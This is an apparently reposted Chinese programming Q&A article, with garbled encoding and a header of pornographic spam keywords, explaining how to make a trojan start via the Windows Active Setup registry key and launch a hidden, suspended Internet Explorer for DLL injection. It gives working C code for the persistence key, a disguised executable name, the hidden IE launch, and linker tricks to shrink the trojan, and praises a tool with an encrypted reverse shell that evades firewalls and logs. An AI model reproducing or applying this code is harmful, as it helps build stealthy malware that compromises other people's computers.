日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

编程实现木马的ActiveX启动和注入IE的启动方式

發(fā)布時(shí)間:2024/4/11 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 编程实现木马的ActiveX启动和注入IE的启动方式 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
  • 木馬的啟動(dòng)方式有很多種,現(xiàn)在比較流行的就是注冊(cè)為系統(tǒng)服務(wù)啟動(dòng)(只適合Windows?2000以上的系統(tǒng)),或者以驅(qū)動(dòng)的方式啟動(dòng)。不過,最近以ActiveX方式啟動(dòng)又比較流行了,因?yàn)樗m合Windows?9x或2000以上的機(jī)器,而且殺毒軟件(比如瑞星、江民、金山等)基本不會(huì)去監(jiān)視這種啟動(dòng)方式,比較隱蔽。以ActiveX方式啟動(dòng)的木馬國(guó)外的比較多,于是就到網(wǎng)上查找相關(guān)代碼,發(fā)現(xiàn)了RECUB。??
  •   其實(shí)RECUB是一個(gè)Windows平臺(tái)的遠(yuǎn)程管理工具,其源代碼已經(jīng)為我們寫的很清楚了,下面簡(jiǎn)要介紹一下RECUB。它能對(duì)Windows?XP/2000/2003的反向連接Shell進(jìn)行RC4加密;可以作為IE瀏覽器的實(shí)例啟動(dòng)并注入代碼來繞過防火墻;通過加密的ICMP請(qǐng)求來激活;沒有監(jiān)聽端口;沒有可見進(jìn)程,以注入Explorer.exe的方式啟動(dòng)和退出;可以通過ActiveX啟動(dòng);退出Shell的時(shí)候沒有事件日志;可以使用?nc得到遠(yuǎn)程Shell;EXE文件只有5.39K大小。怎么樣,挺強(qiáng)的吧?下面我們就看一下它的部分代碼,具體如下: ?
  • //Active啟動(dòng)原理與代碼 //初始化定義主鍵值 char regkey[MAX_PATH]; //定義服務(wù)端當(dāng)前路徑 char pathexe[MAX_PATH]; //子鍵的定義與初始化 HKEY childkey = 0 ; //獲取我們運(yùn)行的服務(wù)端的當(dāng)前路徑 GetModuleFileName(NULL,pathexe,MAX_PATH); //注冊(cè)主鍵 wsprintf(regkey,"%s%s","Software//Microsoft//Active Setup//Installed Components//",REGKEY); //刪除HKEY_CURRENT_USER相關(guān)的啟動(dòng)信息,這是ActiveX啟動(dòng)的關(guān)鍵 RegDeleteKey(HKEY_CURRENT_USER, ( LPCTSTR )regkey); //創(chuàng)建AxtiveX啟動(dòng)信息,注冊(cè)HKEY_LOCAL_MACHINE RegCreateKey(HKEY_LOCAL_MACHINE, ( LPCTSTR )regkey, &childkey ); //把我們獲取到的當(dāng)前的路徑復(fù)制給主鍵 RegSetValueEx (childkey, ( LPCTSTR )"StubPath" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR )pathexe,lstrlen(pathexe)) ; //關(guān)閉HKEY的對(duì)象 RegCloseKey (childkey); 從以上的代碼我們可以清晰地看到,ActiveX啟動(dòng)其實(shí)非常簡(jiǎn)單,僅僅是在HKEY_LOCAL_MACHINE下的Software// Microsoft//Active Setup//Installed Components//中注冊(cè)一條信息就可以了。這條信息的鍵類似{36f8ec70-c29a-11d1-b5c7-0000f8051515}就可以。其實(shí),我們可以隨便的更改這些數(shù)字,只要不重復(fù)就可以了,而且我們還可以在這個(gè)鍵的下面新增一些子鍵和值(我們服務(wù)端的絕對(duì)地址)。
  • 在上面的代碼中有一個(gè)關(guān)鍵代碼RegDeleteKey(HKEY_CURRENT_USER,?(?LPCTSTR?)regkey),其作用是每次啟動(dòng)的時(shí)候清理HKEY_CURRENT_USER里面的信息。因?yàn)槊慨?dāng)我們啟動(dòng)服務(wù)端的時(shí)候,系統(tǒng)都會(huì)自動(dòng)在?HKEY_CURRENT_USER中注冊(cè)一些HKEY_LOCAL_MACHINE中的信息,我們必須在程序中刪除這些,否則我們的服務(wù)端也只能有一次的自啟動(dòng)機(jī)會(huì)。??
  •   根據(jù)上面的介紹,這里我就簡(jiǎn)單的寫一段測(cè)試代碼以供大家參考。啟動(dòng)VC,新建一個(gè)工程名稱為test的Win32?Application,默認(rèn)為一個(gè)簡(jiǎn)單的Win32程序,并假定我們的服務(wù)端是在系統(tǒng)目錄system32中的exloroe.exe。其代碼如下:??
  • #include?"stdafx.h"??
  • int?APIENTRY?WinMain(HINSTANCE?hInstance,HINSTANCE?hPrevInstance,LPSTR?lpCmdLine,int?nCmdShow)??
  • {??
  • //?TODO:?Place?code?here.??
  • HKEY?hKey;??
  • TCHAR?svExeFile[256]?=?"%SystemRoot%//system32//exloroe.exe";??
  • RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE//Microsoft//Active?Setup//Installed?Components//{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);??
  • RegSetValue(hKey,NULL,REG_SZ,"系統(tǒng)設(shè)置",strlen("系統(tǒng)設(shè)置"));??
  • RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE?*)svExeFile,lstrlen(svExeFile));??
  • RegCloseKey(hKey);??
  • return?0;??
  • }??
  •   這個(gè)最簡(jiǎn)單的程序就實(shí)現(xiàn)了在HKEY_LOCAL_MACHINE中注冊(cè)ActiveX的過程。在程序退出的時(shí)候,我們可以編寫下面的代碼來清除HKEY_CURRENT_USER中的相關(guān)信息,以達(dá)到我們的程序啟動(dòng)的目的。??
  •   ??
  • CreateThread(NULL,NULL,del,NULL,NULL,NULL);?//ActiveX---??
  • DWORD?WINAPI?del(LPVOID?lpParam)??
  • {??
  • RegDeleteKey(HKEY_CURRENT_USER,"Software//Microsoft//Active?Setup//Installed?Components//{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}");???
  • return?TRUE;??
  • }??
  • 下面我們?cè)賮砜纯碊LL注入IE的木馬的啟動(dòng)IE的方式。網(wǎng)上的開源代碼很多,不過80%的注入文件都是explorer.exe,這個(gè)雖說比較簡(jiǎn)單,但很穩(wěn)定。說它簡(jiǎn)單是因?yàn)樗J(rèn)總是啟動(dòng)的,就不需要考慮它是否存在的問題。注入IE時(shí),我們首先需要判斷是否有iexplorer.exe的進(jìn)程,如果沒有,我們就需要找到iexplorer.exe所在的目錄(一般都在C:/Program?Files/Internet?Explorer中,不過還是通過程序搜索最好,畢竟有好多網(wǎng)管把系統(tǒng)裝在其他的盤符之中)。??
  • 記得自己剛剛寫DLL程序的時(shí)候,啟動(dòng)IE的方式使用下面的代碼:??
  • WinExec("C://Program?Files//Internet?Explorer//iexplore.exe?-nohome",SW_HIDE);??
  •   也就是IE的空啟動(dòng)。用這種方法實(shí)現(xiàn),雖然IE啟動(dòng)了,而且也挺隱蔽,但啟動(dòng)時(shí)就占用3000K的內(nèi)存,這個(gè)是我們所不能接受的,我們希望程序啟動(dòng)能盡可能少的占用內(nèi)存。后來在國(guó)外的一個(gè)站點(diǎn)上,我發(fā)現(xiàn)可以用下面的一種方法來啟動(dòng),占用內(nèi)存極小,其代碼如下: ?
  • //進(jìn)程information PROCESS_INFORMATION pi = {0}; //啟動(dòng)信息 STARTUPINFO si = {0}; //存儲(chǔ)信息 ZeroMemory(&si,sizeof(si)); //信息的大小 si.cb = sizeof(si); //相關(guān)信息 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; //隱藏啟動(dòng) si.wShowWindow = SW_HIDE; //隱藏 pi.hProcess = SW_HIDE; //啟動(dòng)的主函數(shù) CreateProcess( NULL, //我們暫時(shí)就簡(jiǎn)單的默認(rèn)IE在C://Program Files//Internet Explorer//iexplore.exe中 "C://Program Files//Internet Explorer//iexplore.exe", NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, π );
  • 最后我想說一下VC編譯的優(yōu)化處理問題。一是使用Release版而不用Debug版編譯,因?yàn)槭褂肈ebug版編譯會(huì)生成許多垃圾信息。使用?Release版編譯的具體方法是在“build(編譯)->Configuration(配置)”中,將“Win32?debug”移去,然后再次編譯,就可以發(fā)現(xiàn)文件已經(jīng)小了很多。二是設(shè)置自己的入口點(diǎn)函數(shù)。C或C++程序默認(rèn)的入口函數(shù)是main()或WinMain?(),但我們現(xiàn)在不用Main和WinMain,因?yàn)檫@些都不是直接的入口點(diǎn)。編譯器在產(chǎn)生exe文件的時(shí)候,將為我們生成真正的入口點(diǎn)。下面我們來定義自己的入口函數(shù),具體方法是把main或WinMain改成其它的名字(如MyFun),打開“Project(工程)->settings(設(shè)置)”選項(xiàng),選中“l(fā)ink”選項(xiàng)卡,在“Category(分類)”下拉列表中選“output”,在“Entry-Point?symbol(輸入項(xiàng))”中輸入我們剛才定義的入口函數(shù)(MyFun),在源程序中也要做相應(yīng)修改。三是優(yōu)化最小大小;四是輸出,入口點(diǎn)改為MyDll?(隨便改啦);五是連接,/align:40。??
  •   有了這些,基本上就能把我們的程序的體積減少很多,但每次這樣的去設(shè)置,在編程的時(shí)候會(huì)很不方便,我們干脆直接寫一個(gè)頭文件(my.h),直接調(diào)用就少了很多的麻煩。下面是my.h的代碼。
  • // Version 1.00 // xgym // May 20th, 1999 // [email]xgymcn@163.com[/email] #ifdef NDEBUG #pragma optimize("gsy",on) #pragma comment(linker,"/RELEASE") #ifdef _MERGE_RDATA_ #pragma comment(linker,"/merge:.rdata=.data") #endif #pragma comment(linker,"/merge:.text=.data") #pragma comment(linker,"/merge:.reloc=.data") #if _MSC_VER >= 1000 #endif #endif #pragma comment(linker,"/MERGE:.rdata=.data") #pragma comment(linker,"/MERGE:.text=.data") #pragma comment(lib,"msvcrt.lib") #if (_MSC_VER < 1300) #pragma comment(linker,"/IGNORE:4078") #pragma comment(linker,"/OPT:NOWIN98") #endif #define WIN32_LEAN_AND_MEAN 有了這個(gè)頭文件,我們?cè)诰帉懛?wù)端的時(shí)候,為了減少體積,直接“#include "my.h"”就可以了,這樣就少了很多的步驟,而效果卻是一樣的。
    RegDeleteKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Active Setup\\Installed Components\\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); HKEY hKey; TCHAR svExeFile[256] = "c:\\fffffffff.exe"; RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey); RegSetValue(hKey,NULL,REG_SZ,"系統(tǒng)設(shè)置",strlen("系統(tǒng)設(shè)置")); RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RegCloseKey(hKey); 有疑問,開機(jī)我的程序的確運(yùn)行了,但是同時(shí),由一個(gè)小對(duì)話框,寫著“個(gè)人設(shè)置”,而且整個(gè)桌面不加載了,只有我?的程序關(guān)閉了桌面才會(huì)加載,是我哪里么作對(duì)么? 回答:估計(jì)這種方法確實(shí)不關(guān)閉程序無法進(jìn)入Windows,這就體現(xiàn)了注入dll到另一個(gè)進(jìn)程是多麼重要



    總結(jié)

    以上是生活随笔為你收集整理的编程实现木马的ActiveX启动和注入IE的启动方式的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。